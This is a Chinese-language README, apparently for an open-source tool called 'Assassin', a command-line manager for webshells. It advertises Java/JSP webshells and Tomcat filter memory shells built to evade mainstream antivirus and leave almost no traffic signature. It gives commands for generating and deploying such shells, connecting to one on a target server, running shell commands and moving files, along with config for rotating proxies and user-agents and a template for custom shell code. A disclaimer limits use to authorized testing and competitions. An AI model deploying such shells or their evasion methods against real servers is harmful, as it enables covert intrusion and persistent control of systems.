摘要：是一款精簡的基于命令行的管理工具，它有著多種發(fā)送方式和編碼方式，以及精簡的代碼，使得它成為隱蔽的暗殺者，難以被很好的防御。

Assassin

Assassin是一款精簡的基于命令行的webshell管理工具，它有著多種payload發(fā)送方式和編碼方式，以及精簡的payload代碼，使得它成為隱蔽的暗殺者，難以被很好的防御。

自用工具開源互相學(xué)習(xí)，工具短小精悍，生成的webshell能夠過目前主流殺毒軟件(36x、騰x等，目前能過，后面可能很快就不行了，需要稍微變換webshell代碼以再次免殺) 連接后交互的流量特征幾乎沒有，具體payload發(fā)送方式均可自定義。由于個人精力有限，因為懶而且菜，服務(wù)端暫時僅支持Java。

Github：https://github.com/b1ackc4t/Assassin

Gitee：https://gitee.com/b1ackc4t/Assassin

聲明：主要面向網(wǎng)絡(luò)安全人員已授權(quán)的合法滲透或?qū)W生AWD等比賽使用，任何人不得將其用于非法用途以及盈利等目的，否則后果自行承擔(dān)

特點

[1] 生成的webshell能過主流殺軟 36x、騰x等等(以后可能就不行了，需要稍加更改代碼，webshell模板可以自定義修改)

[2] webshell僅1kb大小，客戶端與服務(wù)端完成連接后發(fā)送payload十分精簡

[3] payload能夠以get、post、cookie、mixed四種方式發(fā)送，可動態(tài)修改，流量迷惑性較強

[4] 客戶端與服務(wù)端交互流量支持多種編碼方式，可動態(tài)修改

[5] payload發(fā)送的參數(shù)名以及數(shù)量均可自定義，支持隨機ip代理和user-agent

軟件截圖

軟件類似于MSF的操作模式

發(fā)送的payload流量示例

cookie：

get：

post：

mixed：

除了cookie方式，get、post、mixed可以在已經(jīng)建立連接后動態(tài)修改發(fā)送方式，無需更改服務(wù)端

請求編碼：

1. base64
2. base36
3. hex

響應(yīng)編碼：

1. base64
2. raw
3. base36
4. hex

其中響應(yīng)的編碼方式可以動態(tài)修改

使用教程

適用版本

服務(wù)端：jre 1.5及以上

客戶端：jdk 1.8及以上

配置文件

{  "paramNames": ["user", "file", "id", "eid", "wd", "ie", "oq", "name", "son"],  // get、post、mixed請求參數(shù)名的隨機池  "cookieNames": ["fid", "uuid", "eid", "home", "ief", "fl", "oop"],  // cookie請求參數(shù)名的隨機池  "headers":{    "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",    "Accept-Encoding":"gzip, deflate, br",    "Accept-Language":"Accept-Language: zh-CN,zh;q=0.9",    "Upgrade-Insecure-Requests": "1"  },  // http頭部  "partNum": 3,  // payload首次發(fā)送的分塊數(shù)量  "argNum": 5,  // 每次請求的參數(shù)個數(shù)，不能超過paramNames或者cookieNames的參數(shù)個數(shù)  "startRandomUserAgent": false,  // 是否隨機useragent  "startIpAgents": false,  // 是否開啟ip池代理模式  "startColor": true  // 是否啟用命令行顏色}

隨機useragent采用./useragents.txt里的useragent，開啟后每次請求都會更換useragent，一般配合ip代理使用，關(guān)閉時是每次用session命令啟動一個webshell會話一個useragent。

ip代理池使用./ipagents.txt，格式為ip:posr;username:password，不需要認(rèn)證的話ip:port就可以了，開啟后每次請求會從中選擇一個代理。

Tip：windows用戶啟動后亂碼請關(guān)閉"startColor"，或者使用Windows Terminal啟動

幫助信息

所有命令使用都比較簡單，可以通過help命令查看參數(shù)

help [command] 查看具體命令的幫助

實例

用startup.bat或startup.sh啟動

new java 123 cookie# 生成密碼為123 發(fā)送方式為cookie的普通jsp木馬new java pass post reqEncode=base36 tamper=tomcat9_filter# 生成密碼為pass 發(fā)送方式為post 請求用base36編碼的tomcat9 filter內(nèi)存馬 

Tips：add和new命令參數(shù)比較多，中括號包裹的可選參數(shù)還可以用key=value的方式賦值

之后會彈出窗口選擇保存位置

將webshell上到目標(biāo)服務(wù)器

add http://192.168.48.130:8080/1.jsp 123 java method=cookie resEncode=base36# 添加webshell 密碼123 java馬 cookie傳參 請求編碼默認(rèn)base64 響應(yīng)編碼base36

show查看ID號

session 1連接webshell

看到提示符發(fā)生變化就可以執(zhí)行webshell controller commands的命令了！

Assassin|java >getshellAssassin|java|C:/apache-tomcat-9.0.54/bin >dir

上傳文件

upload # 沒參數(shù)默認(rèn)傳到當(dāng)前目錄

選擇文件即可上傳

download ./test.txt同理

編寫webshell模板tamper

第一個部分用{@key}填充，代表 webshell密碼

第二個部分用{@getvalue}填充，代表 獲取請求payload的代碼

第三個部分用{@decode}填充，代表 解碼代碼

模板如下：

String k="{@key}";// aes密鑰 123456 md5的前16位String r = ""; //密文payload存放位置，這個參數(shù)名必須為r，其他的無所謂// 取密文{@getvalue}byte[] cText = {@decode};

其他主要邏輯不改，就可以成功連接。

實例

請看webshell/java/下的tomcat的filter內(nèi)存馬模板